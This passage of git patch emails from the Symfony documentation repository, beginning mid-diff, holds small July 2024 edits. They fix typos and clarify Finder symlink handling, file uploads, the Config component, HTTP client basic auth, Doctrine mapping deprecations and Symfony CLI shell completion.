b/components/dependency_injection/compilation.rst @@ -150,7 +150,7 @@ will look like this:: ], ] -Whilst you can manually manage merging the different files, it is much better +While you can manually manage merging the different files, it is much better to use :doc:`the Config component </components/config>` to merge and validate the config values. Using the configuration processing you could access the config value this way:: From 4651ca41c735d0c3151837a9c0fc927658a1eeae Mon Sep 17 00:00:00 2001 From: Tac Tacelosky <tacman@gmail.com> Date: Sun, 7 Jul 2024 12:05:00 -0600 Subject: [PATCH 305/615] add missing word "if the property" doesn't seem right to me. --- components/workflow.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/components/workflow.rst b/components/workflow.rst index 3821a2e9fa8..8ca201b0859 100644 --- a/components/workflow.rst +++ b/components/workflow.rst @@ -94,7 +94,7 @@ you can retrieve a workflow from it and use it as follows:: Initialization -------------- -If the property of your object is ``null`` and you want to set it with the +If the marking property of your object is ``null`` and you want to set it with the ``initial_marking`` from the configuration, you can call the ``getMarking()`` method to initialize the object property:: From 15a50b58980903c362e534d21021cfc88c0d72d6 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 8 Jul 2024 10:34:38 +0200 Subject: [PATCH 306/615] Minor tweaks --- components/type_info.rst | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/components/type_info.rst b/components/type_info.rst index 1c42a89b3c8..f6b5e84a0f5 100644 --- a/components/type_info.rst +++ b/components/type_info.rst @@ -63,17 +63,17 @@ based on reflection or a simple string:: // Type instances have several helper methods - // returns the main type (e.g. in this example ir returns an "array" Type instance) - // for nullable types (e.g. string|null) returns the non-null type (e.g. string) + // returns the main type (e.g. in this example i returns an "array" Type instance); + // for nullable types (e.g. string|null) it returns the non-null type (e.g. string) // and for compound types (e.g. int|string) it throws an exception because both types // can be considered the main one, so there's no way to pick one $baseType = $type->getBaseType(); - // for collections, it returns the type of the item used as the key + // for collections, it returns the type of the item used as the key; // in this example, the collection is a list, so it returns and "int" Type instance $keyType = $type->getCollectionKeyType(); - // you can chain the utility methods e.g. to introspect the values of the collection + // you can chain the utility methods (e.g. to introspect the values of the collection) // the following code will return true $isValueNullable = $type->getCollectionValueType()->isNullable(); From d13c60183fcf6822e00246b25dbbd112bedcc08e Mon Sep 17 00:00:00 2001 From: Matthieu Lempereur <matt.lempereur@gmail.com> Date: Mon, 8 Jul 2024 11:13:27 +0200 Subject: [PATCH 307/615] fix notifier geoip bridge repository link --- notifier.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/notifier.rst b/notifier.rst index e1ad82cf2a6..8eadec26f4a 100644 --- a/notifier.rst +++ b/notifier.rst @@ -1118,7 +1118,7 @@ is dispatched. Listeners receive a .. _`FreeMobile`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/FreeMobile/README.md .. _`GatewayApi`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/GatewayApi/README.md .. _`Gitter`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Gitter/README.md -.. _`GoIP`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/GoIP/README.md +.. _`GoIP`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/GoIp/README.md .. _`GoogleChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/GoogleChat/README.md .. _`Infobip`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Infobip/README.md .. _`Iqsms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Iqsms/README.md From 095155925a3239d23e57df548bfd6fd3b3bd89b0 Mon Sep 17 00:00:00 2001 From: Ahmed Ghanem <124502255+ahmedghanem00@users.noreply.github.com> Date: Tue, 9 Jul 2024 11:38:54 +0300 Subject: [PATCH 308/615] [Notifier] Follow-Up with GoIP renaming As the bridge renaming happened recently in Packagist, so, the update has been made here as well. --- notifier.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/notifier.rst b/notifier.rst index 8eadec26f4a..3bf2d34e34f 100644 --- a/notifier.rst +++ b/notifier.rst @@ -91,7 +91,7 @@ Service `GatewayApi`_ **Install**: ``composer require symfony/gateway-api-notifier`` \ **DSN**: ``gatewayapi://TOKEN@default?from=FROM`` \ **Webhook support**: No -`GoIP`_ **Install**: ``composer require symfony/goip-notifier`` \ +`GoIP`_ **Install**: ``composer require symfony/go-ip-notifier`` \ **DSN**: ``goip://USERNAME:PASSWORD@HOST:80?sim_slot=SIM_SLOT`` \ **Webhook support**: No `Infobip`_ **Install**: ``composer require symfony/infobip-notifier`` \ From fa16f07a04693ac38c08d7b66b61024383c79192 Mon Sep 17 00:00:00 2001 From: David Buchmann <david.buchmann@liip.ch> Date: Wed, 10 Jul 2024 14:55:11 +0200 Subject: [PATCH 309/615] fix service definition example in testing section --- mercure.rst | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/mercure.rst b/mercure.rst index a2ed1fea4db..bbc8771b82c 100644 --- a/mercure.rst +++ b/mercure.rst @@ -673,8 +673,9 @@ sent: .. code-block:: yaml # config/services_test.yaml - mercure.hub.default: - class: App\Tests\Functional\Stub\HubStub + services: + mercure.hub.default: + class: App\Tests\Functional\Stub\HubStub As MercureBundle support multiple hubs, you may have to replace the other service definitions accordingly. From 43878c3aef90b3ccc7d6396fc13c9bc6f8afd377 Mon Sep 17 00:00:00 2001 From: lkolndeep <lkolndeep@protonmail.com> Date: Mon, 8 Jul 2024 23:04:56 +0200 Subject: [PATCH 310/615] Add a note to explain the goal of the followLinks method --- components/finder.rst | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/components/finder.rst b/components/finder.rst index 35041ddb2b1..daf87c9b85c 100644 --- a/components/finder.rst +++ b/components/finder.rst @@ -127,6 +127,10 @@ If you want to follow `symbolic links`_, use the ``followLinks()`` method:: $finder->files()->followLinks(); +.. note:: + + Be careful, the ``followLinks`` method does not resolve links. This method makes the links to directories followed/traversed into. If we suppose a folder *followLinksFolder* which contains a folder with a file and a symlink of the folder *folder, file.txt and symlinkfolder*, thanks to the Finder component ``$finder->in('/home/user/followLinksFolder');`` will retrieve three elements *folder, folder/file.txt and symlinkfolder*. If, we use the ``followLinks`` method instead ``$finder->followLinks()->in('/home/user/followLinksFolder');``, we will retrieve also a fourth element *folder, folder/file.txt, symlinkfolder and symlinkfolder/file.txt*. + Version Control Files ~~~~~~~~~~~~~~~~~~~~~ From 1312099cc5f09ddcb17a7d51b8b3632f1de9b97b Mon Sep 17 00:00:00 2001 From: Jonathan Clark <jono_clark2@hotmail.com> Date: Thu, 11 Jul 2024 19:27:15 +0100 Subject: [PATCH 311/615] Update security.rst If this form is submitted with an empty username or password, a 400 error will be thrown in a new page: The key "_password" must be a non-empty string. By adding "required" the user will instead get a more helpful "Please fill in this field." error on screen next to the appropriate box which is a much better experience. --- security.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/security.rst b/security.rst index c611fe4654c..84e4ebb7d75 100644 --- a/security.rst +++ b/security.rst @@ -833,10 +833,10 @@ Finally, create or update the template: <form action="{{ path('app_login') }}" method="post"> <label for="username">Email:</label> - <input type="text" id="username" name="_username" value="{{ last_username }}"> + <input type="text" id="username" name="_username" value="{{ last_username }}" required> <label for="password">Password:</label> - <input type="password" id="password" name="_password"> + <input type="password" id="password" name="_password" required> {# If you want to control the URL the user is redirected to on success <input type="hidden" name="_target_path" value="/account"> #} From 1e880ca1d0ebd18f3c90a4225f69ad5c063c62c4 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Fri, 12 Jul 2024 17:47:17 +0200 Subject: [PATCH 312/615] Reword --- components/finder.rst | 26 +++++++++++++++++++++++--- 1 file changed, 23 insertions(+), 3 deletions(-) diff --git a/components/finder.rst b/components/finder.rst index daf87c9b85c..c696d7290ab 100644 --- a/components/finder.rst +++ b/components/finder.rst @@ -127,9 +127,29 @@ If you want to follow `symbolic links`_, use the ``followLinks()`` method:: $finder->files()->followLinks(); -.. note:: - - Be careful, the ``followLinks`` method does not resolve links. This method makes the links to directories followed/traversed into. If we suppose a folder *followLinksFolder* which contains a folder with a file and a symlink of the folder *folder, file.txt and symlinkfolder*, thanks to the Finder component ``$finder->in('/home/user/followLinksFolder');`` will retrieve three elements *folder, folder/file.txt and symlinkfolder*. If, we use the ``followLinks`` method instead ``$finder->followLinks()->in('/home/user/followLinksFolder');``, we will retrieve also a fourth element *folder, folder/file.txt, symlinkfolder and symlinkfolder/file.txt*. +Note that this method follows links but it doesn't resolve them. Consider +the following structure of files of directories: + +.. code-block:: text + + ├── folder1/ + │ ├──file1.txt + │ ├── file2link (symbolic link to folder2/file2.txt file) + │ └── folder3link (symbolic link to folder3/ directory) + ├── folder2/ + │ └── file2.txt + └── folder3/ + └── file3.txt + +If you try to find all files in ``folder1/`` via ``$finder->files()->in('/path/to/folder1/')`` +you'll get the following results: + +* When **not** using the ``followLinks()`` method: ``file1.txt`` and ``file2link`` + (this link is not resolved). The ``folder3link`` doesn't appear in the results + because it's not followed or resolved; +* When using the ``followLinks()`` method: ``file1.txt``, ``file2link`` (this link + is still not resolved) and ``folder3/file3.txt`` (this file appears in the results + because the ``folder1/folder3link`` link was followed). Version Control Files ~~~~~~~~~~~~~~~~~~~~~ From 86e415b1920d7d0ebf48678887f9a61619b86210 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 15 Jul 2024 09:42:03 +0200 Subject: [PATCH 313/615] Fix the parameter configuration in the file upload doc --- controller/upload_file.rst | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/controller/upload_file.rst b/controller/upload_file.rst index b273deb0fab..6fb0bbf3883 100644 --- a/controller/upload_file.rst +++ b/controller/upload_file.rst @@ -175,16 +175,17 @@ Finally, you need to update the code of the controller that handles the form:: } } -Now, create the ``brochures_directory`` parameter that was used in the -controller to specify the directory in which the brochures should be stored: +Now, bind the ``$brochuresDirectory`` controller argument to its actual value +using the service configuration: .. code-block:: yaml # config/services.yaml - - # ... - parameters: - brochures_directory: '%kernel.project_dir%/public/uploads/brochures' + services: + _defaults: + # ... + bind: + $brochuresDirectory: '%kernel.project_dir%/public/uploads/brochures' There are some important things to consider in the code of the above controller: From 0b4c3781e859c7f3bd5529ad5e8e47609c6d5a5a Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 16 Jul 2024 10:13:11 +0200 Subject: [PATCH 314/615] Clarify the purpose of the Config component --- components/config.rst | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) diff --git a/components/config.rst b/components/config.rst index 579d5b3149d..9de03f1f869 100644 --- a/components/config.rst +++ b/components/config.rst @@ -1,9 +1,17 @@ The Config Component ==================== - The Config component provides several classes to help you find, load, - combine, fill and validate configuration values of any kind, whatever - their source may be (YAML, XML, INI files, or for instance a database). +The Config component provides utilities to define and manage the configuration +options of PHP applications. It allows you to: + +* Define a configuration structure, its validation rules, default values and documentation; +* Support different configuration formats (YAML, XML, INI, etc.); +* Merge multiple configurations from different sources into a single configuration. + +.. note:: + + You don't have to use this component to configure Symfony applications. + Instead, read the docs about :doc:`how to configure Symfony applications </configuration>`. Installation ------------ From e4bfad31dc4fd910f5f01aea02a6ee6ddbeecab3 Mon Sep 17 00:00:00 2001 From: Christian Flothmann <christian.flothmann@qossmic.com> Date: Wed, 17 Jul 2024 09:58:11 +0200 Subject: [PATCH 315/615] send necessary HTTP headers --- http_client.rst | 1 + 1 file changed, 1 insertion(+) diff --git a/http_client.rst b/http_client.rst index bc950a382e8..c8c3094375a 100644 --- a/http_client.rst +++ b/http_client.rst @@ -676,6 +676,7 @@ when the streams are large):: $client->request('POST', 'https://...', [ // ... 'body' => $formData->bodyToString(), + 'headers' => $formData->getPreparedHeaders()->toArray(), ]); If you need to add a custom HTTP header to the upload, you can do:: From 608408431f9962d5b2b95ce47097d8379cf08d73 Mon Sep 17 00:00:00 2001 From: Wouter de Jong <wouter@wouterj.nl> Date: Tue, 2 Jul 2024 13:18:13 +0200 Subject: [PATCH 316/615] Clarify not using the Config component for app configuration --- best_practices.rst | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/best_practices.rst b/best_practices.rst index 247d52fa15d..dafdfe8bc1c 100644 --- a/best_practices.rst +++ b/best_practices.rst @@ -109,6 +109,10 @@ Define these options as :ref:`parameters <configuration-parameters>` in the :ref:`environment <configuration-environments>` in the ``config/services_dev.yaml`` and ``config/services_prod.yaml`` files. +Unless the application configuration is reused multiple times and needs +rigid validation, do *not* use the :doc:`Config component </components/config>` +to define the options. + Use Short and Prefixed Parameter Names ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From 7d5aebcbeb1c11eb456fdc6672b0dea6616088e0 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Wed, 17 Jul 2024 17:56:40 +0200 Subject: [PATCH 317/615] Minor tweak --- controller/upload_file.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/controller/upload_file.rst b/controller/upload_file.rst index 6fb0bbf3883..b122b76c71a 100644 --- a/controller/upload_file.rst +++ b/controller/upload_file.rst @@ -185,7 +185,7 @@ using the service configuration: _defaults: # ... bind: - $brochuresDirectory: '%kernel.project_dir%/public/uploads/brochures' + string $brochuresDirectory: '%kernel.project_dir%/public/uploads/brochures' There are some important things to consider in the code of the above controller: From 55d376f60d2ff6090ca59d284337f89876ecc44f Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Wed, 17 Jul 2024 17:59:22 +0200 Subject: [PATCH 318/615] Reword code to use the Autowire attribute --- controller/upload_file.rst | 19 ++++++------------- 1 file changed, 6 insertions(+), 13 deletions(-) diff --git a/controller/upload_file.rst b/controller/upload_file.rst index 7958f71a22d..dff5453509a 100644 --- a/controller/upload_file.rst +++ b/controller/upload_file.rst @@ -120,6 +120,7 @@ Finally, you need to update the code of the controller that handles the form:: use App\Entity\Product; use App\Form\ProductType; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\DependencyInjection\Attribute\Autowire; use Symfony\Component\HttpFoundation\File\Exception\FileException; use Symfony\Component\HttpFoundation\File\UploadedFile; use Symfony\Component\HttpFoundation\Request; @@ -130,7 +131,11 @@ Finally, you need to update the code of the controller that handles the form:: class ProductController extends AbstractController { #[Route('/product/new', name: 'app_product_new')] - public function new(Request $request, SluggerInterface $slugger, string $brochuresDirectory): Response + public function new( + Request $request, + SluggerInterface $slugger, + #[Autowire('%kernel.project_dir%/public/uploads/brochures')] string $brochuresDirectory + ): Response { $product = new Product(); $form = $this->createForm(ProductType::class, $product); @@ -171,18 +176,6 @@ Finally, you need to update the code of the controller that handles the form:: } } -Now, bind the ``$brochuresDirectory`` controller argument to its actual value -using the service configuration: - -.. code-block:: yaml - - # config/services.yaml - services: - _defaults: - # ... - bind: - string $brochuresDirectory: '%kernel.project_dir%/public/uploads/brochures' - There are some important things to consider in the code of the above controller: #. In Symfony applications, uploaded files are objects of the From d6390bae3003bc6fd4036950c6d1bac1e59aa17c Mon Sep 17 00:00:00 2001 From: Thomas P <ScullWM@users.noreply.github.com> Date: Wed, 17 Jul 2024 18:44:36 +0200 Subject: [PATCH 319/615] Update service_subscribers_locators.rst Fix defaultIndexMethod attribute typo --- service_container/service_subscribers_locators.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst index ec57eb8f12b..da5cb415800 100644 --- a/service_container/service_subscribers_locators.rst +++ b/service_container/service_subscribers_locators.rst @@ -792,7 +792,7 @@ get the value used to index the services: class CommandBus { public function __construct( - #[TaggedLocator('app.handler', 'defaultIndexMethod: 'getLocatorKey')] + #[TaggedLocator('app.handler', defaultIndexMethod: 'getLocatorKey')] private ContainerInterface $locator, ) { } From 47279ab422ce618a328db6f7ba96cc2efa80ad93 Mon Sep 17 00:00:00 2001 From: Christian Flothmann <christian.flothmann@qossmic.com> Date: Fri, 19 Jul 2024 12:12:22 +0200 Subject: [PATCH 320/615] fix typos --- components/type_info.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/components/type_info.rst b/components/type_info.rst index f6b5e84a0f5..30ae11aa222 100644 --- a/components/type_info.rst +++ b/components/type_info.rst @@ -63,14 +63,14 @@ based on reflection or a simple string:: // Type instances have several helper methods - // returns the main type (e.g. in this example i returns an "array" Type instance); + // returns the main type (e.g. in this example it returns an "array" Type instance); // for nullable types (e.g. string|null) it returns the non-null type (e.g. string) // and for compound types (e.g. int|string) it throws an exception because both types // can be considered the main one, so there's no way to pick one $baseType = $type->getBaseType(); // for collections, it returns the type of the item used as the key; - // in this example, the collection is a list, so it returns and "int" Type instance + // in this example, the collection is a list, so it returns an "int" Type instance $keyType = $type->getCollectionKeyType(); // you can chain the utility methods (e.g. to introspect the values of the collection) From 1a22c51eedd9e685ed0cf080f56c484610a75492 Mon Sep 17 00:00:00 2001 From: Cosmin Sandu <cosmin@foodomarket.com> Date: Fri, 19 Jul 2024 13:17:01 +0300 Subject: [PATCH 321/615] issues/20050 Remove Doctrine mappings YML from documentation https://github.com/symfony/symfony-docs/issues/20050 --- reference/configuration/doctrine.rst | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst index 288a088b47a..5d717363301 100644 --- a/reference/configuration/doctrine.rst +++ b/reference/configuration/doctrine.rst @@ -269,9 +269,14 @@ you can control. The following configuration options exist for a mapping: ........ One of ``annotation`` (for PHP annotations; it's the default value), -``attribute`` (for PHP attributes), ``xml``, ``yml``, ``php`` or +``attribute`` (for PHP attributes), ``xml``, ``php`` or ``staticphp``. This specifies which type of metadata type your mapping uses. +.. deprecated:: ORM 3.0 + + The ``yml`` mapping configuration is deprecated and will be removed in doctrine/orm 3.0. + + See `Doctrine Metadata Drivers`_ for more information about this option. ``dir`` From 54fc8f95dae1c7af7a91a245b9f55a91b2210645 Mon Sep 17 00:00:00 2001 From: Maximilian Ruta <maximilian.ruta@comin-glasfaser.de> Date: Tue, 16 Jul 2024 14:36:48 +0200 Subject: [PATCH 322/615] Document possibility to use user:pass for basic auth --- http_client.rst | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/http_client.rst b/http_client.rst index c8c3094375a..709612b9101 100644 --- a/http_client.rst +++ b/http_client.rst @@ -487,6 +487,11 @@ each request (which overrides any global authentication): // ... ]); +.. note:: + + Basic Authentication can be set by authority in the URL, like + http://user:pass@example.com/. + .. note:: The NTLM authentication mechanism requires using the cURL transport. From ffe0c155516d1f9fb79a7dc00605fe552bd87396 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Fri, 19 Jul 2024 12:28:45 +0200 Subject: [PATCH 323/615] Minor tweak --- http_client.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/http_client.rst b/http_client.rst index 709612b9101..067021637a0 100644 --- a/http_client.rst +++ b/http_client.rst @@ -489,8 +489,8 @@ each request (which overrides any global authentication): .. note:: - Basic Authentication can be set by authority in the URL, like - http://user:pass@example.com/. + Basic Authentication can also be set by including the credentials in the URL, + such as: ``http://the-username:the-password@example.com`` .. note:: From 16c9fdb2b0ea5b647cdb1f7904d85b67f983beef Mon Sep 17 00:00:00 2001 From: Christian Flothmann <christian.flothmann@qossmic.com> Date: Fri, 19 Jul 2024 12:47:06 +0200 Subject: [PATCH 324/615] use the ref role for internal links --- reference/events.rst | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/reference/events.rst b/reference/events.rst index 411e5e327f5..57806ee8f8d 100644 --- a/reference/events.rst +++ b/reference/events.rst @@ -56,8 +56,8 @@ their priorities: This event is dispatched after the controller has been resolved but before executing it. It's useful to initialize things later needed by the -controller, such as `value resolvers`_, and even to change the controller -entirely:: +controller, such as :ref:`value resolvers <managing-value-resolvers>`, and +even to change the controller entirely:: use Symfony\Component\HttpKernel\Event\ControllerEvent; @@ -296,5 +296,3 @@ their priorities: .. code-block:: terminal $ php bin/console debug:event-dispatcher kernel.exception - -.. _`value resolvers`: https://symfony.com/doc/current/controller/value_resolver.html#managing-value-resolvers From a7d15402af186e82d6eb6f03c2be84e31118ba1e Mon Sep 17 00:00:00 2001 From: Cosmin SANDU <contact@cosminsandu.ro> Date: Fri, 19 Jul 2024 14:05:42 +0300 Subject: [PATCH 325/615] Update reference/configuration/doctrine.rst Co-authored-by: Christian Flothmann <christian.flothmann@gmail.com> --- reference/configuration/doctrine.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst index 5d717363301..de176822c1f 100644 --- a/reference/configuration/doctrine.rst +++ b/reference/configuration/doctrine.rst @@ -272,7 +272,7 @@ One of ``annotation`` (for PHP annotations; it's the default value), ``attribute`` (for PHP attributes), ``xml``, ``php`` or ``staticphp``. This specifies which type of metadata type your mapping uses. -.. deprecated:: ORM 3.0 +.. deprecated:: 3.0 The ``yml`` mapping configuration is deprecated and will be removed in doctrine/orm 3.0. From d09a5ba5aa8e1461de0ff2b6c11002b67b01f057 Mon Sep 17 00:00:00 2001 From: Cosmin Sandu <cosmin@foodomarket.com> Date: Fri, 19 Jul 2024 14:25:34 +0300 Subject: [PATCH 326/615] issues/20050 Remove Doctrine mappings YML from documentation try to fix CI --- .doctor-rst.yaml | 1 + reference/configuration/doctrine.rst | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml index 3602a9787c0..93d90a1df9f 100644 --- a/.doctor-rst.yaml +++ b/.doctor-rst.yaml @@ -109,5 +109,6 @@ whitelist: - '.. versionadded:: 3.6' # MonologBundle - '.. versionadded:: 3.8' # MonologBundle - '.. versionadded:: 3.5' # Monolog + - '.. versionadded:: 3.0' # Doctrine ORM - '.. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket' - '.. End to End Tests (E2E)' diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst index de176822c1f..79bd5458d67 100644 --- a/reference/configuration/doctrine.rst +++ b/reference/configuration/doctrine.rst @@ -272,7 +272,7 @@ One of ``annotation`` (for PHP annotations; it's the default value), ``attribute`` (for PHP attributes), ``xml``, ``php`` or ``staticphp``. This specifies which type of metadata type your mapping uses. -.. deprecated:: 3.0 +.. versionadded:: 3.0 The ``yml`` mapping configuration is deprecated and will be removed in doctrine/orm 3.0. From 08f43e57bf101e162f64692b390fcf4f3ea07781 Mon Sep 17 00:00:00 2001 From: Christian Flothmann <christian.flothmann@qossmic.com> Date: Fri, 19 Jul 2024 13:28:01 +0200 Subject: [PATCH 327/615] use a custom batch size --- messenger.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/messenger.rst b/messenger.rst index 03e09b8260a..d49180a358e 100644 --- a/messenger.rst +++ b/messenger.rst @@ -2644,7 +2644,7 @@ provided in order to ease the declaration of these special handlers:: // of the trait to define your own batch size... private function shouldFlush(): bool { - return $this->getBatchSize() <= \count($this->jobs); + return 100 <= \count($this->jobs); } // ... or redefine the `getBatchSize()` method if the default From a51bc508aa3c34cef799222119e1a29f76696cfd Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Fri, 19 Jul 2024 14:59:49 +0200 Subject: [PATCH 328/615] Remove the shouldFlush() method --- messenger.rst | 11 ++--------- 1 file changed, 2 insertions(+), 9 deletions(-) diff --git a/messenger.rst b/messenger.rst index d49180a358e..7e26cb9b4da 100644 --- a/messenger.rst +++ b/messenger.rst @@ -2640,15 +2640,8 @@ provided in order to ease the declaration of these special handlers:: } } - // Optionally, you can either redefine the `shouldFlush()` method - // of the trait to define your own batch size... - private function shouldFlush(): bool - { - return 100 <= \count($this->jobs); - } - - // ... or redefine the `getBatchSize()` method if the default - // flush behavior suits your needs + // Optionally, you can override some of the trait methods, such as the + // `getBatchSize()` method, to specify your own batch size... private function getBatchSize(): int { return 100; From 52f1f00732decffa92747d2c611366bd886509fc Mon Sep 17 00:00:00 2001 From: Tugdual Saunier <tugdual.saunier@gmail.com> Date: Sat, 20 Jul 2024 17:07:55 +0200 Subject: [PATCH 329/615] Document Symfony CLI autocompletion --- console.rst | 9 +++++++++ setup/symfony_server.rst | 11 +++++++++++ 2 files changed, 20 insertions(+) diff --git a/console.rst b/console.rst index e414ed15ced..65564e578de 100644 --- a/console.rst +++ b/console.rst @@ -103,6 +103,15 @@ options by pressing the Tab key. $ php vendor/bin/phpstan completion bash | sudo tee /etc/bash_completion.d/phpstan +.. tip:: + + If you are using the :doc:`Symfony local web server + </setup/symfony_server>`, it is recommended to use the builtin completion + script that will ensure the right PHP version and configuration is used when + running the Console Completion. Run ``symfony completion --help`` for the + installation instructions for your shell. The Symfony CLI will provide + completion for the ``console`` and ``composer`` commands. + Creating a Command ------------------ diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst index 5fa3e430b1c..e241279fc95 100644 --- a/setup/symfony_server.rst +++ b/setup/symfony_server.rst @@ -17,6 +17,17 @@ Installation The Symfony server is part of the ``symfony`` binary created when you `install Symfony`_ and has support for Linux, macOS and Windows. +.. tip:: + + The Symfony CLI supports auto completion for Bash, Zsh or Fish shells. You + have to install the completion script *once*. Run ``symfony completion + --help`` for the installation instructions for your shell. After installing + and restarting your terminal, you're all set to use completion (by default, + by pressing the Tab key). + + The Symfony CLI will also provide completion for the ``composer`` command + and for the ``console`` command if it detects a Symfony project. + .. note:: You can view and contribute to the Symfony CLI source in the From c13b4f299d334612208fd247188f2b946cb6846e Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 22 Jul 2024 08:39:11 +0200 Subject: [PATCH 330/615] Minor tweaks --- console.rst | 4 ++-- setup/symfony_server.rst | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/console.rst b/console.rst index 65564e578de..60d53d0c056 100644 --- a/console.rst +++ b/console.rst @@ -106,8 +106,8 @@ options by pressing the Tab key. .. tip:: If you are using the :doc:`Symfony local web server - </setup/symfony_server>`, it is recommended to use the builtin completion - script that will ensure the right PHP version and configuration is used when + </setup/symfony_server>`, it is recommended to use the built-in completion + script that will ensure the right PHP version and configuration are used when running the Console Completion. Run ``symfony completion --help`` for the installation instructions for your shell. The Symfony CLI will provide completion for the ``console`` and ``composer`` commands. diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst index e241279fc95..f8b7c6e35c4 100644 --- a/setup/symfony_server.rst +++ b/setup/symfony_server.rst @@ -19,7 +19,7 @@ The Symfony server is part of the ``symfony`` binary created when you .. tip:: - The Symfony CLI supports auto completion for Bash, Zsh or Fish shells. You + The Symfony CLI supports auto completion for Bash, Zsh, or Fish shells. You have to install the completion script *once*. Run ``symfony completion --help`` for the installation instructions for your shell. After installing and restarting your terminal, you're all set to use completion (by default, From 7a0e90898e46246d9c37027997ae4a155d67cb57 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 22 Jul 2024 17:43:27 +0200 Subject: [PATCH 331/615] Minor tweak --- reference/configuration/doctrine.rst | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst index 79bd5458d67..5ee35e63288 100644 --- a/reference/configuration/doctrine.rst +++ b/reference/configuration/doctrine.rst @@ -274,8 +274,7 @@ One of ``annotation`` (for PHP annotations; it's the default value), .. versionadded:: 3.0 - The ``yml`` mapping configuration is deprecated and will be removed in doctrine/orm 3.0. - + The ``yml`` mapping configuration is deprecated and was removed in Doctrine ORM 3.0. See `Doctrine Metadata Drivers`_ for more information about this option. From ce65dc602a289a4443daf42bcb4bd4ad199e1b35 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 23 Jul 2024 10:40:43 +0200 Subject: [PATCH 332/615] Minor tweak --- testing.rst | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/testing.rst b/testing.rst index b1692c956ea..5116d53a04c 100644 --- a/testing.rst +++ b/testing.rst @@ -97,7 +97,8 @@ You can run tests using the ``bin/phpunit`` command: .. tip:: In large test suites, it can make sense to create subdirectories for - each type of tests (e.g. ``tests/Unit/``, ``tests/Integration/`` and ``tests/Application/``). + each type of test (``tests/Unit/``, ``tests/Integration/``, + ``tests/Application/``, etc.). .. _integration-tests: From 27a06be851c41d4a67c78c1fa63c47892823d620 Mon Sep 17 00:00:00 2001 From: Christian Flothmann <christian.flothmann@qossmic.com> Date: Tue, 23 Jul 2024 11:06:19 +0200 Subject: [PATCH 333/615] drop type-hints for properties where the Type constraint is used --- reference/constraints/Type.rst | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst index f10d1423997..732247e0b5a 100644 --- a/reference/constraints/Type.rst +++ b/reference/constraints/Type.rst @@ -33,19 +33,19 @@ This will check if ``emailAddress`` is an instance of ``Symfony\Component\Mime\A class Author { #[Assert\Type(Address::class)] - protected Address $emailAddress; + protected $emailAddress; #[Assert\Type('string')] - protected string $firstName; + protected $firstName; #[Assert\Type( type: 'integer', message: 'The value {{ value }} is not a valid {{ 